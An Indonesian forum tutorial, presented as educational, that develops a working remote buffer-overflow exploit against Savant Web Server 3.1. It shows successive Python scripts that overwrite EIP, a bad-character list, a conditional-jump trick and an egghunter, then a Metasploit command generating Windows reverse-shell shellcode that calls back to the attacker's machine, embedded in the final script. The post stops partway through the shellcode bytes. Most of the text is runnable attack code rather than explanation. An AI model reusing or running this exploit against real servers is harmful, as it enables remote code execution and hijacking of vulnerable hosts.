03-21-2012, 12:07 PM
Quote:hola pagi semua sekarang ane mau berbagi lagi tentang Bug 0 day yang ane dapet dari tetangga Ok kalo gitu langsung aja deh
Peringatan! Turorial ini ditujukan untuk pembelajaran, dan anda TIDAK diperkenankan menggunakan keahlian ini untuk menyerang sistem dimana anda tidak memiliki izin untuk mengaksesnya. Gunakan sebijak mungkin untuk kepentingan orang banyak, dan tidak merugikan pihak manapun.
Pada tutorial kali ini, saya akan mencoba menguji system milik Savant, dimana Savan tidak pernah menyediakan patch terhadap systemnya, sehingga celah buffer overflow tidak pernah diperbaiki. Jika anda menggunakan Savant, berhentilah sekarang juga. Karena anda akan menyaksikan betapa berbahayanya jika program Savant anda tereksploitasi.
Required knowledge:
1. TCP/IP Networking
2. Mengatur operasi sistem Windows, seperti melakukan Instalasi, menghentikan service, dan menggunakan command prompt.
3. Membuat serta menjalankan script python dan perl.
4. Menggunakan OllyDbg selama proses debugging
5. Mampu menggunakan Metasploit, beserta extensinya.
System Setup:
Pada tutorial kali ini, saya menggunakan dua operasi system. Backtrack sebagai Penetration Tester, dan Windows sebagai Objek testing. Saya menggunakan VMware untuk menjalankan Operasi Sistem windows di dalam backtrack, dengan spesifikasi:
1. IP Backtrack : 192.168.1.4
2. IP Windows : 192.168.1.6
3. Type Network VMware : Bridge pada interface wlan0
4. Windows Version : XP SP 2 English
5. Backtrack Version : 5 Code Name Revolution
Pastikan kedua mesin mampu berinteraksi dengan perintah ping.
Required Software:
Pastikan anda memiliki software ini di dalam backtrack anda:
1. Perl Interpreter
2. Python Interpreter
3. Metasploit 4.X
4. Text Editor
5. Netcat
6. Generates Code Download Link
Pastikan anda memiliki software ini di dalam Windows Anda:
1. Savant Web Server 3.1 Download Link
2. OllyDbg 1.1 Download Link
Attach Savant ke dalam OllyDbg
Pastikan OllyDbg memiliki akses Administrator (jalankan sebagai administrator). Kemudian buka File - Open - C:\Savant - Savant.exe
Catatan: Anda harus melakukan restart program di dalam ollydbg setiap crash terjadi. Restart bisa dilakukan dengan cara Debug - Restart, atau tekan tombol ctrl + f2.
Memicu Vulnerability:
Kita dapat memicu vulnerability untuk membuat system Savant crash, dengan mengirim request dengan URI yang memiliki panjang tertentu. Karakter % harus ada di dalam buffer yang kita kirim, dan ukuran buffer harus sangat tepat agar EIP dapat di-overwrite.
Request dalam metode HTTP (seperti GET atau POST) memiliki panjang karakter dari 0-38. Saya akan mulai dengan mengirim GET request dengan URI /% diikuti dengan 258 karakter "A". Script python akan tampak seperti ini.
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\x41" * 258
httpmethod = "GET"
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Simpan dengan nama 0day.py, sesuaikan target ip dengan IP windows anda. Kemudian ubah permission 0day.py dengan perintah
Code:
root@metasploit:~# chmod +x 0day.py
Kembali ke OllyDbg Windows, Pilih Debug - Run, atau tekan tombol f9 untuk menjalankan Savant di dalam OllyDbg.
Gambar berikut menunjukan Savant Sebelum terjadinya crash. Kita bisa lihat bahwa Register EAX berwarna abu-abu, yang menandakan bahwa program berjalan sebagaimana mestinya (tidak crash).
Kemudian eksekusi dengan perintah:
Code:
root@metasploit:~# python 0day.py
Dan ini register EAX setelah Savant mengalami crash
Perhatikan pada bagian stack. Daftar kedua dari atas, merujuk ke GET string. Mari kita ikuti stack ini, dan lihat memory yang dirujuk.
Hmmm.. Ada banyak karakter A disini. Sepertinya ini adalah dampak dari buffer yang kita kirim tadi.
Jika kita bisa menggunakan entri ini untuk melakukan perintah RETN, kita bisa langsung menuju ke GET string di dalam memori.
Menemukan Overwrite Offset
Untuk tahap ini, kita membutuhkan bantuan metasploit untuk membuat pattern, sehingga buffer kita dapat mengeksekusi perintah return.
Code:
root@metasploit:~# cd /opt/metasploit/apps/pro/msf3/tools && ruby pattern_create.rb 258
Hasilnya :
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5
Sekarang kita masukan pattern ini ke dalam buffer kita:
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5")
httpmethod = "GET"
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Simpan file 0day kita, kembali ke debugger dan restart Savant. Jalankan Savant kembali, dan eksekusi file 0day kita.
Kita bisa lihat sekarang EIP yang di-overwrite merujuk ke 35694134. Sekarang kita buat lagi pattern 35694134.
Code:
root@metasploit:~#cd /opt/metasploit/apps/pro/msf3/tools && ruby pattern_offset.rb 35694134
Hasilnya adalah 254
Kemudian kita ubah lagi buffer kita menjadi seperti ini:
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\x41" * 254
badbuffer += "\x42\x42\x42\x42" # EIP Overwrite
httpmethod = "GET"
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Simpan file 0day kita, kembali ke OllyDgb, restart Savant, dan Eksekusi file 0day kita.
Kita berhasil meng-overwrite EIP menjadi 4242424242. Sekarang, perhatikan kolom stack. Persis setelah stack 4242424242, terdapat \x00 nol byte di dalam memory.
Sepertinya
kita bisa mengandalkan informasi yang satu ini. Restart Savant di dalam OllyDbg, kemudian klik kanan pada panel CPU, Go To - Expression - Ketik 00424242 - Klik OK
Kita dapat lihat, terdapat karakter \xcc dengan INT3 sebagai breakpoint nya. Ini informasi yang penting, karena kita dapat memodifikasi buffer kita, agar berfungsi lebih baik.
Ubah buffer kita menjadi
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\x41" * 254
badbuffer += "\x42\x42\x42" # EIP Overwrite
httpmethod = "GET"
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Simpan file 0day kita, kembali ke OllyDgb, restart Savant, dan Eksekusi file 0day kita.
Sukses. Kita telah meng-overwrite EIP menjadi 42424243. Langkah selanjutnya adalah menjadi perintah POP r32 dan RETN di dalam panel CPU.
Klik kanan pada panel CPU, kemudian pilih Search for - Sequence - Masukan POP r32 dan RETN di dalam box. Klik find.
Terlihat bahwa POP EBP, dan RETN terdapat pada 00401D09.
Klik Disini Untuk Snapshot
Kita akan memodifikasi lagi buffer kita. Kali ini, kita akan mengatur breakpoint pada \xcc. Sehingga buffer kita akan menjadi seperti ini:
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\x41" * 254
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = "\xcc"
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Simpan file 0day kita, kembali ke OllyDgb, restart Savant, dan Eksekusi file 0day kita.
klik Disini Untuk Snapshot
Ketika 0day dieksekusi, proses terhenti pada perintah INT3. Untuk mengatasi ini, kita harus mencari alamat perintah INT3, dan memodifikasi kembali buffer kita. Klik kanan pada panel CPU, pilih Follow In Dump - Selection. Terlihat bahwa posisi saya berada pada memori 00B2EAB9 dan berada sejau 25 byte dari awal \x41.
klik Disini Untuk Snapshot
Untuk itu kita harus melakukan jump sejauh 25 byte untuk dapat mengeksekusi buffer kita. Hexadecimal dari 25 setara dengan 0x19, jadi kita akan menggunakan \xeb\x19 untuk melakukan lompatan ini. Kembali kita modifikasi buffer kita menjadi:
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\xcc"
badbuffer += "\x41" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = "\xEB\x19" # SHORT JUMP 0x19
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Sebelum kita mengeksekusi file 0day, kita akan membuat breakpoint pada 00401D09, restart debugger, klik kanan pada Panel CPU - Go To - Expression - masukan angka 00401D09 - OK. Tekan F2 untuk menetapkan breakpoint kita pada 00401D09. Perhatikan setiap kali anda menjalankan debugger pada breakpoint ini, program akan berhenti pada breakpoint ini. Tekan F7 untuk kembali menjalankan program (melewati breakpoint), dan temukan kondisi dimana program dapat dieksploitasi karena mengalami crash system.
Setelah menekan tombol F7 sebanyak dua kali (dalam kasus saya), terlihat bahwa saya terhenti pada instruksi RETF. Instruksi \xeb milik saya telah diubah menjadi \xcb. Ini adalah karakter buruk untuk sebuah buffer.
Klik Disini Untuk Snapshot
Conditional Jump
Jadi, bagaimana kita dapat melompat lebih jauh? Jika kita tidak bisa menggunakan unconditional jump dengan karakter \xeb, kita bisa melakukan lompatan kondisional dengan karakter \xcb. Ini berarti kita membutuhkan langkah tambahan untuk memastikan kondisinya tepat untuk melakukan lompatan. Kode lompatan kondisional yang dapat kita pakai adalah:
JO \x70
JNO \x71
JB \x72
JAE \x73
JE \x74
JNE \x75
JS \x78
JNS \x79
JP \x7A
JPO \x7B
Sekarang kita akan ubah exploit kita, dengan menambahkan kode lompatan kondisional. Sehingga exploit kita menjadi:
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\xcc"
badbuffer += "\x41" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = "\x70\x71\x72\x73\x74\x75\x78\x79\x7A\x7B" # Test for working conditional jumps
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Pastikan bahwa breakpoint anda tetap berada di 00401D09 sebelum script 0day kita dieksekusi.
Klik Disini Untuk Snapshot
Sepertinya kode lompatan kondisional \X7B berhasil, terlihat bahwa di sana terdapat keterangan bahwa \X7B melakukan JPO SHORT ke 00B3EAC3.
Menemukan Karakter Buruk Dalam Metode HTTP
Untuk melakukan ini, kita membutuhkan bantuan generatecodes.pl. Program berbahasa perl ini dapat meregenerasi kode-kode tertentu, untuk mendapatkan kode buffer yang berfungsi dengan baik (bukan karakter buruk). Kita telah mencoba \x70\x71\x72\x73\x74\x75\x78\x79\x7A\x7B sebagai kode lompatan kondisional, dan hanya \x7B yang berhasil. Sehingga kita tau bahwa sisanya adalah karakter buruk. Selain itu, karakter \x00\x0a\x0d\x20 juga merupakan karakter buruk. Kita dapat memasukan 38 karakter kedalam Buffer dengan metode HTTP, namun hanya 24 dari mereka yang tampak di dalam memori, saya akan menggunakan generatecodes.pl untuk memotong baris menjadi 12 byte. Hasilnya:
Quote:root@revolution:~# ./generatecodes.pl 00,0a,0d,20,2f,70,71,72,73,74,75,79,7a,eb 12
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e"
"\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a"
"\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27"
"\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34"
"\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"
"\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58"
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64"
"\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x76"
"\x77\x78\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84"
"\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c"
"\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4"
"\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc"
"\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8"
"\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xec\xed\xee\xef\xf0\xf1"
"\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd"
"\xfe\xff"
Kita akan gunakan 24 byte (2 baris) output pada generatecodes.pl, kemudian kita ubah buffer kita menjadi:
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\xcc"
badbuffer += "\x41" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e"
"\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a")
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Setelah dieksekusi, script ini tidak menyebabkan crash. Sekarang kita potong menjadi 12 byte. Sehingga script kita menjadi:
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\xcc"
badbuffer += "\x41" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e")
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Ini juga tidak menyebabkan crash. Sekarang kita potong 4 byte, menjadi.
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\xcc"
badbuffer += "\x41" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = ("\x01\x02\x03\x04\x05\x06\x07\x08")
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Yang satu ini menyebabkan crash. Kemudian kita coba pada baris 3 dan 4 pada output generatescode.pl, dan masukan karakter ini ke dalam script. Sehingga script kita menjadi:
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\xcc"
badbuffer += "\x41" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = ("\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27"
"\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34")
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Karakter ini menyebabkan crash. Sekarang kita coba dengan karakter pada baris 5 dan 6 pada output generatecodes.pl. Sehingga script kita menjadi:
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\xcc"
badbuffer += "\x41" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = ("\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c")
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Karakter ini juga langsung menyebabkan crash. Untuk mempersingkat, saya tidak akan memberikan script dan kode kepada anda, satu per satu. Setelah menguji semua karakter, akhirnya saya mendapatkan karakter buruk:
\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x76\x77\x78\x9a\x9c\x9e\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
Sehingga total karakter buruk kita bertambah menjadi
\x00\x09\x0a\x0d\x20\x2f\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x9a\x9c\x9e\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
Mengatur Parity Flag
Setelah mengetahui karakter buruk yang tidak bisa digunakan dalam buffer, sekarang pertanyaannya adalah: "Instruksi apa yang bisa kita gunakan untuk mengatur parity flag?"
Cara mengatur nilai parity flag menjadi satu adalah dengan memiliki sejumlah kecil byte di dalam register. Namun ini tidak semudah yang didengar. Bagaimana cara memiliki byte-byte ini di dalam register? Dilihat dari OllyDbg, kita memiliki byte-byte ini, khususnya di register EAX, EBX, ECX, dan EDX. Mereka memiliki register anakan yang bisa dimanfaatkan, register tersebut benama AL, BL, CL, dan DL (dimana L berdiri sebagai Lower byte).
Jika kita pindahkan sebuah nilai ke dalam register AL, dan mengeksekusi perintah aritmatika pada register tersebut, untuk mengubah nilainya menjadi 1 bit, maka akan terjadi Parity Flag 0. Dengan mengatur AL register menjadi 3, dan kemudian menambahkan 1 ke dalam hasil AL, maka AL akan memiliki nilai biner 00000100.
MOV AL, 3
ADD AL, 1
Memodifikasi Memory di dalam OllyDbg
Kita akan gunakan script ini untuk menguji Savant di dalam OllyDbg, kemudian merubah memorinya.
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\xcc"
badbuffer += "\x41" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = ("\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd"
"\xfe\xff")
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Kemudian kita eksekusi
]Klik Disini Untuk Snapshot
Terlihat bahwa kita terhenti di 00B3EAB8. Double klik pada RCL BL,CL, kemudian ubah menjadi MOV AL, 3 seperti ini.
Klik Disini Untuk Snapshot
Kemudian ubah instruksi di bawahnya menjadi ADD AL, 1 seperti ini.
Klik Disini Untuk Snapshot
Setelah mengecek opcode yang digunakan untuk membuat instruksi ini, kita dapat melihat bahwa hasilnya:
\xb0\x03 MOV AL, 3
\x04\x01 ADD AL, 1
Karakter ini tidak buruk, dan dapat digunakan dalah metode HTTP. Langkah selantnya adalah engatur Parity Flag dari 0 menjadi 1. Double click Parity Flag pada panel register, dan ubah dari 0 menjadi 1.
Klik Disini Untuk Snapshot
Perhatikan angka 1 yang berwarna merah. Itulah nilai Parity Flag saat ini. Tekan F7 sebanya dua kali untuk melewati instruksi MOV dan ADD, maka kita akan melihat Parity Flag kembali ke nilai 0.
Klik Disini Untuk Snapshot
Dalam situasi ini kita bisa menyisipkan instruksi lompatan kondisional kita ke dalam debugger. Kali ini kita akan memodifikasi kode binary di dalam memory, yang memungkinkan kita untuk mamasukan kode mesin yang setara dengan perintah yang kita inginkan.
Pertama, kita harus tau seberapa jauh kita ingin melompat kedalam buffer kita. Nilai yang harus diketahui untuk menentukan ini, adalah alamat dari lokasi dimana kita akan melompat, dan alamat darimana kita melompat. Kita ingin melompat dari karakter \xcc dari karakter awal kita \x41, dimana dalam kasus saya adalah 00B3E93A.
Klik Disini Untuk Snapshot
Kita akan melompat dari EIP, ditambah 2 dimana instruksi JUMP kita berakhir. Sehingga 00B3EABC + 2 atau 00B3EABE. Perbedaan diantara dua alamat ini adalah 0x14 sehingga data biner yang harus kita sisipkan ke dalam memori adalah \x7b\x14.
Untuk memasukan data biner ini, ikuti langkah berikut pilih 2 alamat memori, 00B3EABC dan 00B3EABE, kemudian klik kanan - Binary - Edit.
Klik Disini Untuk Snapshot
Ubah D6 F7 dan D8 menjadi 7B 14 dan D8 seperti ini.
Klik Disini Untuk Snapshot
Maka CPU panel akan berubah menjadi seperti ini.
Klik Disini Untuk Snapshot
Tekan F7 dan perhatikan selama proses JUMP terjadi, dan ternyata kita kembali ke karakter \xcc pada karakter JUMP awal kita di \x41.
Klik Disini Untuk Snapshot
OK. Ternyata dengan mengubah memory, kita mendapatkan informasi untuk melakukan JUMP dan mendapatkan alamat tujutan JUMP kita. Maka langkah selanjutnya adalah mengubah script kita menjadi:
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
badbuffer = "\xcc"
badbuffer += "\x41" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = "\xb0\x03\x04\x01\x7B\x14" # MOV AL, 3; ADD AL, 1; JPO 14
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Langkah selanjutnya adalah menciptakan shellcode untuk di sisipkan ke dalam buffer kita.
Code:
root@revolution:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=443 C
Klik Disini Untuk Snapshot
Shellcode kita memiliki ukuran 314 byte. Dan ukuran ini tidak akan muat di dalam buffer kita. Padahal ukutan ini belum diencode dengan encoder apapun.
Memperbesar Buffer agar Shellcode dapat tertanam di dalam buffer
Jika shellcode tidak dapat dimuat ke dalam buffer, maka shellcode tidak akan dieksekusi selama masa exploitasi. Kita membutuhkan buffer yang lebih besar. Ubah script menjadi seperti ini.
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
buffer2 = "R0cX" + "R0cX" + "\x41" * 992
badbuffer = "\xcc"
badbuffer += "\x41" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = "\xb0\x03\x04\x01\x7B\x15" # MOV AL, 3; ADD AL, 1; JPO 15
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n' + buffer2
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Kemudian eksekusi file 0day kita. Seperti biasa, program mengalami crash di dalam debugger. Terlihat bahwa buffer baru kita tidak tampak di dalam memory.
Klik Disini Untuk Snapshot
Untuk menemukan letak buffer baru kita, Klik View - Memory. Klik kanan pada entri pertama - Search.
Klik Disini Untuk Snapshot
Pada kolom ASCII ketik R0cXR0cX
atau isi
Pada kolom HEX +8 ketik 52 30 63 58 52 30 63 58
Seperti gambar di bawah ini:
Klik Disini Untuk Snapshot
Maka akan muncul windows seperti ini
Klik Disini Untuk Snapshot
Kita mendapatkan ruang yang cukup untuk menyimpan shellcode di sini. Namun bagaimana caranya agar kode eksekusi dapat dialihkan ke buffer ini? Kita membutuhkan EGGHUNTER.
erburu Telur
Sebuah EggHunter adalah bagian esensial dari sebuah kode mesin, yang bisa digunakan untuk mencari "telur" (potongan kode mesin) di dalam sebuah memory program.
Dalam tutorial kali ini, saya menggunakan EggHunter milik Matt Miller. Source code EggHunter dapat di download disini
Code ini hanya bisa di compile dengan Microsoft C Compiler, (Anda bisa menggunakan Visual Studio versi berapapun untuk meng-compile script ini). Dan jika anda ingin meregenarasi EggHunter milik anda, anda harus menjalankan EggHunter ini di Command Prompt Windows. Saya akan memulai meregenerasi kode EggHunter milik saya. Anda bisa meng-kopi hasil regenerasi kode EggHunter milik saya jika anda tidak ingin meng-compile EggHunter menggunakan Visual Studio. =)
Quote:root@revolution:~# wine egghunt_syscall.exe cstyle 0x5863305258633052 adalah hexadecimal untuk R0cX. Egghunt akan mengeksekusi kode EggHunter, ketika kode ini dieksekusi, maka program akan menuju alamat R0cX kita, dimana selanjutnya program akan mengeksekusi Shell Code di dalam buffer.
// 32 byte egghunt shellcode (egg=0x58633052)
unsigned char egghunt[] = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";
Menambahkan Kode EggHunter kedalam buffer
Sekarang kita sudah mendapatkan kode EggHunter untuk merujuk program ke R0cX dimana Shell Code kita siap di eksekusi. Ubah buffer kita menjadi:
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
buffer2 = "R0cX" + "R0cX"
# Kode EggHunter untuk mencari R0cX
badbuffer = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
badbuffer += "\x90" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = "\xb0\x03\x04\x01\x7B\x14" # MOV AL, 3; ADD AL, 1; JPO 14
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n' + buffer2
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Ok. Kode EggHunter sudah masuk ke dalam buffer. Sekarang kita buat ShellCode untuk disisipkan ke dalam buffer kita. Buka terminal, dan masukan perintah
root@revolution:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.8 LPORT=4444 R | msfencode x86/shikata_ga_nai -c 4 -t c
Hasilnya:Lihat Disini
Kemudian kita ubah script 0day kita menjadi:
Code:
#!/usr/bin/python
import socket
target_address="192.168.1.6"
target_port=80
buffer2 = "R0cX" + "R0cX"
# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.8 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 4 -t c
buffer2 += ("\xda\xd1\xba\x00\x2d\x36\x8b\xd9\x74\x24\xf4\x58\x33\xc9\xb1"
"\x63\x31\x50\x1a\x03\x50\x1a\x83\xe8\xfc\xe2\xf5\x97\xf7\x4b"
"\x64\xd5\x2e\x8c\x5f\x6e\xf5\xe7\x01\xbe\x3c\xb6\xe0\xf1\xe8"
"\xab\x99\x34\x10\xcf\x0a\x76\x6a\x08\x9c\xdc\x7f\x34\xea\x5b"
"\x5b\x52\xd0\x86\x97\x76\xd7\x1c\xdd\xcb\xb5\x32\x9c\xf2\x7b"
"\x1d\xe3\x4e\xaa\xad\x18\xa8\x0c\x13\xdb\x5d\x75\x59\xc7\xb4"
"\xdf\x57\xa7\x21\x15\x7b\x1d\x3a\x94\xc4\x78\x82\x94\x0c\x7e"
"\x2a\x03\xb5\x61\x96\xde\x43\x1f\xb0\x50\xc9\xef\xd4\xc0\xe3"
"\x25\xd6\xc3\x3f\xdf\xe4\xa7\x6a\x8c\x7a\xbe\x71\x46\xe8\x3c"
"\xb8\x64\x4c\xbc\x81\xd7\x73\x6a\x1d\x17\x71\x12\x78\x18\x1a"
